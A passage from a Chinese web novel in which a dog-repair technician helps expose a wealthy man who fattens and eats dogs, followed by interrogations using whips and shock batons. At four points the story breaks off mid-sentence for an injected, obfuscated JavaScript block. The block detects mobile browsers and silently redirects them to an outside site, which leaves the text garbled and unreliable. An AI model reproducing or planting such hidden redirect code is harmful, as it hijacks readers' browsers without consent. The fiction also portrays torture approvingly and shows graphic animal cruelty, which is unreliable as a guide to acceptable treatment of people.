“你说的是之前那个以旧换新的案子对吧,一组组长问过我和组内其他人。大家都不知道这一条黑色产业,我也一样。不过我回去以后问了一下母父,他们说有些上层人会专门定制符合自己喜好的狗,这种定制狗价格昂贵,动辄上百万。” “我那一次的总价是十五万,这差别有点大。” 阮心玉报的价格有些太低了…… 薄暮光听她这么一说,连忙挥手:“我的意见只能作为参考。这都是听来的,不是亲身体验,我没有买过狗,我的狗都是别人送的和收养的。” “收养的挺好,收养不费钱,买只小狗挺贵的。”风从南嘴上应着薄暮光,心里还惦记着阮心玉给的低价,她为什么会报出一个完全不符合市价的价格,是来做慈善的吗?! 张魏媛那只狗的价格也不符合常理,她的定制狗更是只要十五万。 不对! 她的五万星币定金打水漂了! 风从南的天塌了。 “请问现在方便维修吗?”戴着眼镜的精英男进入店内,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036081|194444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身着定制西装,脚踩薄底皮鞋,活脱脱一个斯文败类。 来者是客,风从南从不会把星币推开:“方便,可以把小狗带进来。” 精英男摇了摇头:“我没有带狗,你们方便接特殊的□□单吗?” □□的黑活?风从南开了一年的店从没有听过这种离谱要求。 接黑活赚的钱本来就不如白天接正经活赚的多,都是辛苦钱,走薄利多销的路子。开单以来她只给办理过终身vip的薄暮光提供过上门维修服务,而对方现在还没要求兑现,天天赖在她店里。 风从南礼貌地笑着拒绝:“为了保障员工的身心安全,我们店不提供上门维修服务。” 见她拒绝接单,精英男离开了修狗。 风从南本以为他放弃了,看了眼时间想要提早闭店,结果精英男在门口转了一圈又回来了。 “我们老板维修费用报价十万,请问您现在方便上门维修吗?” 十万?! 这次上门维修抵得上风从南半个月工资,她的贪财之心又蠢蠢欲动了。 面对巨额星币诱惑,风从南保有了三分理智,这么多钱放白昼星找个小狗维修师绰绰有余,就算是找那些商业区里成名已久的维修师也不需要十万。 更何况这还是黑活,黑活的价钱比正常接单低得多,这个老板想要维修的小狗要么是重度崩坏狗,维修难度极高,要么就是不符合狗安处规定的特殊狗种,有钱人的玩物。 不过,这正中风从南下怀,原本重新接黑活就是为了钓鱼执法,现在鱼都咬钩了,钓鱼佬怎么能退缩。 “你确定能保证我的人身安全吗?能不能带上助手一起去?” “当然,我们是正规公司。老板听闻您的大名,专门来这里邀请您维修他的爱犬。” “给我五分钟,我需要收拾一下上门维修的设备。” 精英男点头答应,风从南飞奔向室内拿起储藏室搁置已久的外出工具箱,又打开光脑给组长和夏、姚两人发了消息,告诉她们大鱼上钩了,记得随时定位她光脑所在的位置,准备行动。 风从南带着薄暮光走出店门,一艘黑色飞艇停在二人面前把两人打包带走。 驾驶位与其他人乘坐的位置用精密材料隔离,飞艇通体黑色,没有安装窗户,风从南看不见外面的景象,无法判断自己现在身处哪个位置。 幸好她给组长提前发了消息,让她关注自己的光脑定位,就是不知道这艘飞艇能不能屏蔽光脑信号。 要是她的定位信号被屏蔽了,那就坏了。 高速行驶了一小时后,飞艇速度慢慢减缓,经过一段下坡路之后,平稳降落。 飞艇门自动打开,风从南跳下飞艇。 眼前是偌大一个酒庄,货架上摆满了成千上万支酒水,空气中弥漫着独属于酒的馥郁芬芳,货架中间的一块空地铺了一块巨型毛毯。 上面趴着一只四肢短小、身材肥硕的狗,是一辆物理意义上的大运狗。 19. 肉狗(二) 这只狗不是普通的肥胖,它的身躯几乎和一辆飞艇差不多大,周围的人映衬得像个保龄球。 狗毛被剃得一干二净,裸露在外的肉层层叠叠堆出了道道波浪纹,肉与肉的褶皱层却被洗得干干净净,莹白发亮,荡漾着油润的色泽。 诡异的是,它的四肢完全是正常中型犬的大小,又细又长,四肢支撑不起庞大肥硕的身躯,瘫软在旁,被定制容器约束着。四肢上布满了密密麻麻的细小伤口,一滴一滴鲜红的血液缓慢流出,汇聚在玻璃容器中。 血液敲击容器底部的声音并不大,风从南却听得分明。 滴答、滴答。 像一场潮湿、连绵不断的阴雨。 这只狗的面部也全是肥厚的脂肪,挤在一起,只有两个黑压压的孔洞,看不清狗的眼睛,它在哭泣吗?还是麻木了? 风从南不知道。 它的身上布满肉瘤,是人类专门培育出来的畸形物,每个肉瘤大小均匀,像是被切割整齐的餐厅肉块,恰好能一口放进嘴里。 一旁的侍者从它的身上割下肉瘤,放进热水中烫十秒后拿出,肉瘤上面的血水一扫而光,体积也缩水了一些,淡淡的肉香在空气中飘荡。 “先生,您要的三分熟的肉块。”侍者对一旁的酒庄老板说。 酒庄老板头发油亮,身着昂贵的家居服,一口吞下肉瘤,咀嚼得津津有味。 风从南看见这一幕场景只觉得自己的理智值在疯狂下降,是她疯了、出现幻觉了,还是这个世界疯了? 联邦命令禁止食用狗肉的规定从百年前就开始推行了,现在已经没有人吃狗肉了,结果她面前就站着一个活生生的百年老古董。 有一团火自她的胸腔内熊熊燃起,将她的脖颈烧得通红,隐隐有蔓延到面部的趋势。 见她这副模样,薄暮光心里的愤怒反而渐渐冷了下来,他把手搭在风从南的肩上,示意她保持冷静,上前一步站在风从南身前面对酒庄老板。 “您好,我身后这位您雇用的临时小狗维修师,我是她的助手,请问怎么称呼您?” 酒庄老板拿起桌上的丝绸手帕优雅地擦了擦嘴:“称呼我为朱老板就行了。我们老朱家不在乎这些礼仪。你们为什么要戴着口罩和我对话,能取下来吗?看起来好像不是很尊重我呢,哈哈。” 他状似不在意地笑了两声。 “不好意思,我们维修小狗必须要戴上口罩和护目镜,避免在维修过程中受到小狗体内逸散出来的黑色情绪污染。” 酒庄老板大惊失色,一把丢下擦嘴手帕,他不懂小狗维修的专业知识,但是他不想被这只肉狗的黑暗情绪污染,直呼道:“晦气,我可不想沾上这种脏东西。李助理,由你来和这两个人交流吧。” 精英男伸手示意风从南和薄暮光跟他来,一边带着他们靠近趴着的肉狗,一边自我介绍:“我是朱老板的助理李彬,二位可以称呼我为李助理。” “因为这只狗情况特殊,在进行维修之前,我需要你们提供一份身体指标报告。”风从南说。 李彬从随身携带的公文包里拿出一沓文件递给风从南:“您放心,我们对维修小狗的流程也有一定的了解,这份身体指标报告是一个星期前,私人医生用专业仪器检测出来的结果。” 风从南接过身体指标报告和薄暮光一起翻看。这只肉狗代号003,年龄为一岁三个月,除了过于肥胖臃肿的身体之外,身体器官也多多少少都有问题,肾脏病理损伤,心脏起搏功能有障碍等。 看起来就不健康的身体实际上也充满了各种损伤。 这份报告也详细登记了这只狗出生以来的体重变化,从出生起的200克慢慢长到一个月时的500克,之后它的体重呈现指数型上升趋势,短短一年直线飙升到如今的一吨。 “这只狗生来体型就这么大吗?”风从南明知故问道,想从李彬口中套话,“它出生时的体型大小关系到它体内黑暗情绪存储器官的大小,黑暗情绪存储器官不会随着体型的生长而变大。” 李彬摇头,推了推眼镜框:“它现在的体型是经过长期改造培养出来的,本来是一只中型犬。” 李彬第一次见到这只狗时,它还只有两个月大,被朱老板带着到处溜达,性格活泼温顺,无论是对待人还是对待狗都很友善。 后来朱老板不知道从哪里买来了狗用肥胖药,混在狗的饮食里让它每天服用。 一开始是一天一枚胶囊,后来一天三枚,直到现在每顿一瓶药。 不久前药物生产商和朱老板喝酒时看见了这只肉狗,能开发出这种药的生产商竟然还好言相劝朱老板,劝他不要一次性用太多药,以这只狗现在的体型已经活不久了,要是继续加大药量,寿命还会迅速缩短。 朱老板轻飘飘地揭过药物生产商提起的话题,说自己还有钱买其他狗,不缺这一只,坏了就坏了。 李彬一开始见到肉狗还会震惊,现在已经麻木了。他做不了什么。 风从南明白了,这只狗是朱老板后期喂养到这么大的,和先天基因无关。而朱老板百分百是联邦警署和狗安处的重点关注对象,步步踩在他们的雷点上。 虐待小狗和故意培养畸形狗的量刑可不轻。 风从南走到肉狗的身边,将手搭在他的后腿上,感受它体内的黑暗情绪储存量。 肉狗“垃圾桶”的体积大约一个水瓶左右,里面晃荡着满满的黑暗情绪,占据了垃圾桶内百分之七十五的容积,这只狗已经重度崩坏了。 它的“垃圾桶”位于身体最中心位置,汲取针根本没办法插入“垃圾桶”内,工具箱内的维修工具也不够全面。 在目前这种情况下风从南想到的方案只有一个,给外层皮肉钻开一个通道,插入一根带有可视化针头的导管,通过光脑操纵针头精准扎入“垃圾桶”。 需要有人辅助完成这项工作,如果针头乱窜或者钻孔步骤出现问题,这只狗都会饱受病痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040246|194444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的折磨。 风从南将目光投向身后的薄暮光,这里能够辅助她的人选就只有他一个。 两人在近段时间内的维修合作都比较轻松、好上手,没有涉及到精密操作,她不确定薄暮光能否胜任。并且她过去维修重度崩坏小狗时,也没有和其他小狗维修师助手合作过,不知道这次的工作应该怎样指挥薄暮光。 风从南长叹一口气,薄暮光敏锐地察觉到了她的不放心。 “让我试试吧,相信我。”他直视风从南,目光坚定。 只能死马当作活马医了。 风从南让薄暮光拿稳导管,用笔在003号的表皮上确定了位置,拿出维修工具打开钻头,破开柔软的肉,拉伸钻头深入003号体内,钻出了一个直径为五毫米的通道,直到钻头快要接触到“垃圾桶”,她关闭伸缩功能,把维修工具拿了出来。 003号体内暂时出现了一个直线通往“垃圾桶”的通道,必须快速插入导管才能开始维修。速度慢了,体内的其他肉便会簇拥上来关闭这个临时通道。 薄暮光眼疾手快,将导管插入003号体内。 风从南通过光脑链接操纵导管植入003号体内的“垃圾桶”,维修的准备工作才刚刚完成。 导管纤细,面对重度崩坏的小狗风从南只能慢慢从它体内汲取黑暗情绪,操纵光脑改变导管运输方向,把黑暗情绪向外传输到专用的情绪储存瓶中,最后堪堪将003号体内的黑暗情绪降到了百分之六十五左右。 003号仍然是中度崩坏,随时可能一脚踏入重度崩坏。 完成维修,薄暮光把身上的手帕递给风从南,她这才意识到自己的额头上已经布满了汗珠。 风从南擦了擦额头,还给薄暮光,对李彬说:“现在这只狗体内的黑暗情绪在百分之六十五作用,相比起原来减少了百分之十,但是仍然处于中度崩坏到重度崩坏的边缘,你们还需要多多关注它。” “也就是说还需要多次维修是吗……”李彬低头思考,问道,“能不能加速维修进度。” “短时间内多次维修会超过狗能承受的最大范围,损害狗的身体健康。并且我们修狗店以狗为本,不会接这种损害小狗的单子。” “加钱也不接?” “是的,加钱也不接。”风从南回答完这个问题才发现是身后传来的声音。 朱老板已经换了一身正装,站在她身后三米远的地方望着她。 准确来说,是看着她身后的003号。 “也行吧,李助理,向风师预约下一次上门维修的时间。”朱老板双手摊开,让李助理给他系好领带,“这只狗味道不错,但是崩坏有点严重,吃着不太吉利。先让风师慢慢修吧,降到轻度崩坏我再下口,现在勉强把仓库里那只备用狗拿出来尝尝味道吧。” 风从南和薄暮光保持沉默。 “对了,风师。”朱老板歪过头看着风从南,“你不会把我的事说出去吧?” 20. 肉狗(三) “你说的是你非法培育超大型犬,违反联邦犬只保护法的行为吗?”风从南淡淡道。 朱老板原以为风从南会乖乖就范被他拿捏,结果风从南正面掀翻了他的权威,让他面子全无。他面色涨红,抄起一旁的酒瓶冲向风从南。 风从南背上工具箱,捉住朱老板的手腕,反手把酒瓶砸在了他自己身上。 深红色的酒液飞溅,看得朱老板一阵肉痛,他拗不过风从南,喊道:“你们还愣着干什么,看自己老板挨打这么舒服吗?!” 一旁的员工和李彬这才拖拖拉拉跑上来,拽着朱老板往后拉。 风从南立刻松手,他歪歪扭扭,无法保持四肢稳定,退后两步一屁股坐在了地上。 朱老板气得脸红脖子粗:“我叫你们打她,不是来救我!把她给我打服了,看她还敢不敢挑衅我!” “别急,求饶的话待会儿再说。我已经喊人收你来了。”风从南从薄暮光手里拿过手帕,嫌恶地擦了擦手。 用过的手帕轻飘飘地落在地上,一旁的薄暮光欲言又止。 话音刚落,砰的一声巨响,酒庄大门应声而破。 夏沐泽开着一辆大运闯了进来,帅气地漂移过弯,停在了朱老板面前,全然不顾货架上昂贵的酒水。 “还搁着造上大运狗了,你奶奶开大运来创你了!” 她哈哈大笑,从大运驾驶座上一跃而下,揪住正欲逃跑的朱老板后领子,干脆利落地给他戴上银手镯。 “别整这么大张旗鼓的,其他人都抓到了吗?”闻璟从副驾驶上跳了下来。 “酒庄所有出入口都已经封闭,李青山组长正在带队逐一排查剩余区域。” 风从南不解,她发消息通知了闻璟,怎么连李青山都来了? “联邦警署怎么来了?” 闻璟拿起一瓶还未损坏的葡萄酒,拿手指沾了下酒液,尝了一口:“李青山啊……是她主动来联系狗安处的,说是她们发现了曙光教会的踪影,正好查到了这个朱老板头上,他的地址和你的定位一模一样。我就叫她一起来了。” 夏沐泽点了点头:“李青山的办事效率确实高,根据定位判断出了酒庄的大小指挥四周布控,连只小狗都跑不出去。” 狗安处另一个同事卫珩汇报:“酒庄内共十六人全部抓获,除了面前这只肉狗以外的三只狗也已经带走关在收容包中了。” 闻璟微微颔首表示已经知晓。 夏沐泽看着眼前这只大运狗,对比了一下身后大运车的体型,对风从南道:“你别说,我开的这辆车正正好能装下这只狗,顺便再捎上一个你。” 风从南无语,翻了个白眼送给她。 夏沐泽无视她的不满,周围的人越来越多,狗安处和联邦警署要押送的涉案人员都在此处汇聚:“唉,今晚又是一个不眠之夜咯——赶紧把姚嘉叫来一起干活!” 话虽如此,她却没有一丝不满,嬉笑着打开光脑,贱嗖嗖地喊姚嘉起床。 * 联邦安保处的审讯室内,狗安处和联邦警署分别派出一人审讯涉案人员。 由于值夜班的人不够多,她们把狗安处二组的成员叫上一起审,李青山甚至一个电话把组里的夜猫子喊回来上班了。 李青山把风从南拽到身边,对闻璟说:“我和她一组,我们审那头朱。” 不等闻璟登记好,李青山抓着还在情况外的风从南跑了起来。 风从南被她带得跌跌撞撞的,直到在审讯室坐下才想起来刚刚想问她的话。 “你特意喊我一起?” “不然呢?”李青山眼睛下方耷拉着两条深色眼袋,“你和对面那头朱是一个品种的?” 风从南难得被别人噎到没话讲,以前向来只有她恶言恶语噎别人的份。 想了半天也没有想到反驳的话,她干脆换了一个话题:“闻璟告诉我,你们查到了朱老板和曙光教会有关,这是怎么回事?” “前两天组员查到的。她们从一个偷偷卖增肥药的无良商贩一路查到了他的上线,也就是这个朱老板。把狗用增肥药卖给人吃的案子,我也是第一次见。” 李青山想起这件事就无语,“朱老板的社会关系复杂,但没有一条是与药物研发有关的,再加上认识他的人都说他喜欢吃狗肉。这种作风和曙光教会一模一样,我猜测他和曙光教会脱不了关系。” “说来说去,原来只是你的猜测。”风从南不知如何评价,不过关于药物研发这条线,让她突然想起了一个人,“朱老板的助理李彬说过,朱老板有一个合作伙伴,是肉狗的药物供应商,你们要找的很有可能就是这个人。” 审讯室的门被拉开,走廊明亮的灯光射入昏暗的审讯室内。 助理安保员押送朱老板到这里,把他死死摁在位置上,扣好手铐和脚铐。 “别的不说,联邦安保处的设施倒是挺好的,比我们警署更牢固。”李青山对风从南感慨道,“警署现在提倡以人为本,主张人文关怀,罪犯根本不能用手铐铐住,说是限制了他们的人身自由。” “我也是第一次来联邦安保处,狗安处没有审讯室。”风从南还是第一次听闻联邦警署的新作风:“都成罪犯了,还要保障他们的人身自由,直接放出去不是更自由?” 李青山大为赞同:“谁知道这些领导脑子里哪根筋抽抽了。” “……我说,你们能不能不要把我晾在这里。要审就快点审,闲聊浪费我时间。你们知道浪费我一分钟,我要少赚多少钱吗?”朱老板忍不住插入二人的对话。 “姓名,年龄,身份id号。” 李青山和风从南收敛了态度,面无表情。 “你让我说我就说,我是被你们吓大的?在我的律师到这里之前,我不会说一句话。” 风从南也是第一次见到左右脑互搏如此厉害的人,上一秒还在要求快点审讯,下一秒就学着电视剧里的样子,拿乔了起来。 不过她早就看他不爽了,也不差这么一点。 风从南从旁边的柜子里抽出了一根鞭子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045373|194444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,鞭身红的发黑,浸满了各种嫌犯的鲜血,闪耀着凛凛寒光。 朱老板见她抽出鞭子,瑟缩了一下,随后告诉自己这里是警署,有监控的,这些警察不敢对他做什么。 他梗着脖子,不服输道:“我告诉你,这里可是联邦警署,最看重人民安全的地方,你要是敢对我动手,我出去就举报你,让你也没有好果子吃!” “哦?谁告诉你这是联邦警署?”风从南意味深长道,她已经迫不及待看见他痛苦的样子了,“看来你根本没听我们俩说话啊,这里明明是联邦安保处。” 联邦警署的审讯室内装有监控录像,并且要求监控24小时不间断工作,就为了保证嫌疑犯的人身权益,不让他们在警署内被私刑侵害,屈打成招。 不过,联邦安保处没有这种顾虑。这里没有监控,关押的犯人严重触犯联邦底线,死了大家都拍手叫好,根本没有法律和道德上的约束。 朱老板惊慌失措,他刚刚根本没有仔细听这两人的对话。 完了!他老朱要遭了! 风从南举起鞭子,根本没有收敛力气,上去就是两鞭子狠狠抽在朱老板的背上。 朱老板薄薄的睡袍根本阻挡不了鞭子的凌厉,背上立马出现了两道血痕,痛得他龇牙咧嘴。 风从南原本想抽在他的脸上,但是想到待会还要让他回答各种审讯问题,失望地挑了朱老板的背下手。 她还嫌不够解气,举起鞭子想要再抽两下,朱老板见她一脸不过瘾的样子,火速滑轨,说出自己的身份信息。 “朱诚,46岁,身份id号11020xxxx45.” 李青山打开警署内部光脑软件查询,把证件照和眼前这个人一一对应,确实是一个人:“现在怎么不叫你的律师来替你报身份信息了?” 风从南查看光脑内狗安处小组其他成员发来的信息,是医院检测报告。 经医院检测,从朱诚酒庄内救出的四只狗体内都有不等的药物残留痕迹,包括那只肉狗。不明药物促使他们基因变异,出现了身体膨大化现象。 “你为什么要给这些狗喂肥胖药物,培育肉狗?” “警官,你不是看见了嘛,除了吃,我还能干啥。我没有恶意的啊,就是单纯的好吃。” “单纯的想吃?你不知道联邦不允许食用狗肉?” 朱诚两只手搭在一起,缓解内心的焦躁:“规矩是死的,人是活的,我认识的人里有不少爱吃狗肉的,你们怎么不抓他们去?” 李青山审讯过太多类似的罪犯,他们喜欢顾左右而言他,掩饰自己的真实目的,朱诚还在撒谎。 她的手指指节敲了敲桌子,对风从南道:“他在撒谎,再给他两鞭子。” 风从南闻言,拿起鞭子就要抽朱诚。 朱诚咬牙,闭眼吼道:“我心理承受能力太差了不行吗!我害怕自己得荒芜病!” “害怕得荒芜病和你吃狗肉有什么关系?” “他、他们说吃狗肉能够以形补形。” 21. 肉狗(四) “别人都这么说,吃什么补什么,缺什么吃什么。我们没有情绪调节器官,就自己补一补身体。” 风从南无言以对,为了预防荒芜病就要吃狗,这是什么离谱逻辑,猪来了都听不懂。 想要人造一个黑暗情绪储存器官,还不如直接把自己脑子按在狗身上,正好狗也不会得荒芜病,一举两得。 李青山更是无语,直接问他下一个问题:“你口中的别人是谁?是给你提供药的人吗?” 朱诚的眼珠子转了转,回答道:“别人就是金晓啊,就是他告诉我预防荒芜病可以吃狗肉的。以形补形也是他告诉我的,他家就在富人区33号大街106号,你们赶紧带人去抓他,我只是被他哄骗了!” 不确定朱诚说的是不是实话,但李青山还是发信息给空闲警员,催促他们去朱诚所说的地址抓捕药物供应商。 风从南接替她继续拷问朱诚:“你是怎么认识金晓的。” “就圈子里大家的聚会派对嘛,跟他碰见好几次就渐渐熟起来了。他人讲义气,有钱,跟我们属于同一个阶层,跟所有人都玩得来,圈子里的人都觉得他挺好的。” 朱诚越说越偏,情不自禁开始吹嘘自己在圈子里的地位,其他人都捧着他云云。 李青山不拦着他,反而若有所思地倾听他自夸,朱诚越说越起劲,甚至说出了一些她们两人都能听出来是夸大自己的话语。 “这是审讯室,不是你喝酒的酒桌。”风从南听不下去了。 朱诚这才意识到自己还在联邦安保处的地盘,闭上了嘴。 风从南开门见山道:“你和曙光教会有没有关系,你是不是其中的一员。” 朱诚神色茫然:“这是什么东西?我不知道啊。” “你确定你不知道曙光教会是什么?” “我真不知道,知道了我也跟这东西没关系啊。”朱诚神色真诚,似乎真的不清楚曙光教会是什么组织。 可风从南注意到了他的手指在不自觉地互相搓动,微微发抖。 看来还是没被打够。 风从南把鞭子放回原位,抽出联邦安保处特制电击棒,敲了敲桌面。 “你是想尝试一下电击棒吗?或者你想试试安保处的其他器具?” 电击棒开关按下,发出通电的一阵蓝光,敲在桌面上是清脆的声音,敲在人身上只有疼痛的叫声。 朱诚知道这东西,联邦安保处的特产,专门用来审讯危害联邦安全的各类重大案件罪犯。 他紧张地搓了搓手,舔了舔嘴皮子:“没必要,没必要,我还没到这个程度吧?” 为缓解一触即发的气氛,他故作轻松的哈哈两声,想要降低风从南的防备和警惕心。 “都成罪犯了还要分个高下吗?”李青山似笑非笑,“看来他不想说,下手吧。” “什——” 没等朱诚说话,风从南拿起电击棒敲在他脸上。刚刚她就想拿鞭子抽他脸了,顾虑着会影响朱诚的审讯进度,这才换成了他的背部。 如果他好好回答问题还不会有这一遭,谁让他装模作样撞到她枪口上来了。 再加上电击棒本身就是为了审讯而生,打在人身体上不会留下任何痕迹,留下的疼痛却是一下更比一下重,残存的疼痛还没消散,新一次电击又来了,多层疼痛堆叠起来爆发,让罪犯无法忍受。 这才是真正的现代化审讯工具。 风从南很满意。 朱诚被电得直抽抽,电击棒敲在他的脸上、脖颈上,他只觉得每一下都很轻,但是这疼痛又深入骨髓,仿佛雷电直接劈在了他的脊梁骨上。 “窝火(我说),窝火(我说),被打我咧(别打我了)。” 风从南这才收回电击棒,待朱诚缓过神来,她直捣黄龙地问道:“你知道曙光教会是什么吗?” “我们真没什么牵扯,我只是参加过一次他们的拉新聚会而已,之后他们都不带我玩了。” “谁带你去的。” “就是药物供应商,那个叫金晓的那个人。我们关系好了以后他带我去的,说是要让兄弟一起沾沾光。里面都是大人物,我们只要抱个大腿这辈子就不愁了。” 大人物? 风从南和李青山对视一眼,都察觉到了关键信息。 “你说清楚什么大人物,哪行哪业,叫什么名字。”李青山道。 “嗐,金晓就是瞎说的。我过去一看,一个熟悉的人都没有,全是比我都不如的垃圾。还有些人戴着仿生面具,根本看不出来谁是谁。” “你没有和他们交谈吗?” “交谈啥,他们那群人都有自己的圈子,金晓带我过去他们也不搭理我。我又不是喜欢热脸贴冷屁股的人,就自己待着了。” “那你是怎么知道这次聚会是曙光教会举办的?” “聚会都有个仪式嘛,其他聚会我们都是开个香槟塔之类的,就这个仪式要最后举行。还要我们所有人披上莫名其妙的披风,对着舞台中央的雕像赞美祈祷。我又不是个傻的,这明显就不对劲啊!” “我问你的是,你是怎么得知这个名字的。” “也是金晓说的啊,他就跟我说我要是通过资格验证就能成为曙光教会新的教徒。结果嘛,就是我没被看上,还连累了他在里面的地位降低。他还要了我不少星币做赔偿嘞。” “你知道曙光教会是干什么的吗?” “警官,这我就真不知道了。不过金晓肯定知道,他的药都是里面来的,你们派人抓他了没有?” 风从南沉吟片刻,和李青山商量着结束本次对朱诚的审讯,从他这里应该是问不出更多东西了。 李青山点头答应,朱诚只是她们调查曙光教会最外层的一条线索,她们本身就不指望从他这里问出更深层的东西。 临走前,风从南还不忘嘲讽一下朱诚:“人家金晓对你还挺好,怪不得你说他是个讲义气的好兄弟,你对他就……呵呵。” 朱诚一脸的有怨不能发,一脸怨气地被门口的助理安保员带走,重新关押在联邦安保处的收容所。 * 一夜未眠,风从南在联邦安保处里的临时住所小憩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17053814|194444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一会儿,直到被李青山的声音唤醒。 “醒醒,别睡了,金晓抓到了。” ……谁是金晓? 风从南向来睡眠充裕,少有睡不饱的情况。 面前出现了李青山疲惫却神采奕奕的脸。她也一夜未眠,闭目养神了半小时便跟着其他警员一起去白昼星的星舰码头逮捕意图逃跑的金晓。 抓住金晓时,他已经经过多轮变装,与联邦警署内部系统上的证件照完全不同。他们采用了最新人脸识别技术才从星舰码头的茫茫人群中辨认出金晓。 幸好在他出关之前抓住了他,否则等他逃到其他星球以后,联邦警署的抓捕难度会大大增加。 李青山的头发有些凌乱,双眼下的青黑色黑眼圈更深了,眼睛里的红血丝也多了好几条。 但风从南从她的声音中感受到了她的欣喜和迫不及待。 抓住金晓,意味着她们离背后的曙光教会越来越近了。 风从南稍稍洗了把脸,跟着李青山来到了审讯室,里面的金晓已经坐在审讯椅上了。 他大约四十岁上下,胡子拉碴,眉毛浓黑,眼睛细长,一副小人模样,不像是讲义气的样子。因为乔装成女性的样子,他的面部还残留着没有擦洗干净的彩妆痕迹,看着有些滑稽。 风从南见他一脸不屈的模样,在审讯开始之前率先掏出电击棒放在审讯桌上,以备不时之需。 “姓名,年龄,身份id号。” “金晓,43岁,身份id号11020xxxx06.” “你和朱诚是怎么认识的?” “我们圈子里经常有人组织派对和聚会拉近关系方便合作,我和朱诚就是在半年前的一场聚会上认识的。” “是你主动接触朱诚的?” 金晓沉默了一会儿,回答道:“对,是我主动和他搭话的。他在圈子里的名声大家都知道,富得流油但是没什么脑子,是个冤大头,我想从他那骗点钱。” “所以你就频繁和他参加同一场聚会拉近关系?” “对。” “你确定你是想从他那骗点钱,所以才主动接触他吗?” “确定。” 风从南冷笑道:“朱诚可不是这么说的,你确定吗?” “我确定。” 金晓直视风从南和李青山,眼神平静无波,比起朱诚,他的心理防线显然更难以攻破。 面对这种硬骨头,风从南不是专业干审讯的,她也想不到什么好办法。于是她用眼神示意李青山,让她对金晓施点压力说出实话。 李青山干脆换了一个问题:“朱诚说你是他的药物供应商,你的药是从哪里来的。据我们调查,你名下公司的主营业务与医药没有任何关系,你组建的实验室也没有俱备研发药物资格的成员。” “我自己研发的。” “我们在你家并没有找到任何药物研发痕迹。” “……” 风从南神色凝重,金晓不吃软也不吃硬,是个难啃的硬骨头。 她们得想点其他办法让他开口。 22. 肉狗(五) 联邦安保处的审讯室角落静静地躺着一台庞然大物。 黑色的流线型外壳彰显着它的低调,硕大的身躯却宣告着它的不凡。 风从南的目光从金晓漂移到了这台仪器上面。金晓着实是一个啃不动的硬骨头,她和李青山轮番审讯,各种审讯招式都用在他身上,但他没有一丝张口的迹象,依旧保持沉默。 “要不我们试试后面这台新仪器?”风从南对李青山说道。 李青山不了解联邦安保处的审讯仪器,诧异地转头看向她:“你说的后面这台仪器吗?” “没错,这是联邦安保处新开发的审讯仪器。我没用过,只知道它是一种接入脑部的审讯仪器,可以将罪犯的意识体数据化,从意识数据体里面提取记忆信息。我们只要把光脑接入联邦安保处的通讯内,就可以在光脑上共享罪犯的记忆片段。” “人体记忆片段那么庞大,你确定我们能找到吗?”李青山疑惑道,“筛选他的记忆片段是个大工程,我们没那么多时间浪费在他身上。” 风从南摇了摇头:“这个审讯仪器对于人体记忆数据化和储存技术非常成熟,我们不需要在寻找记忆片段上花费太多时间,确定是哪段时间发生的事件,然后就可以在仪器里直接筛选时间范围,找到我们需要的记忆片段。” 审讯椅上的金晓听见她们的对话,抓紧了裤腿,然后放松了手指,依然不言。 李青山从没有听过这么高级的审讯仪器,有这种审讯仪器还需要她们警署做什么,维护罪犯的心理健康吗? 但是鉴于联邦警署顶头上司的做派,为了保护联邦人民(包括罪犯)的身心健康,他删除了警署原本大部分审讯方式,现在警署的审讯手段都尽量温和友善,力求呵护每一朵联邦的娇花。 针对目前警署的现状,她还真不确定这个审讯仪器是不是联邦安保处的最新科技研发产品。毕竟,联邦安保处的人向来不是好货。 眼前这个编外成员也不例外。 “这么夸张的审讯仪器没有副作用吗?”李青山询问道。 “我不了解它的副作用,得看一下它的使用说明。”风从南打开光脑,查看有关这台审讯仪器的使用说明,“上面说仪器的全部副作用目前还不是很确定,最严重的使用者神经系统损坏,变成痴呆,但是这种情况只有三例。大多数是脑部某神经受到影响导致身体部位出现问题,脊椎、四肢没有知觉。” “四肢没知觉就不严重了吗?”李青山无力吐槽。 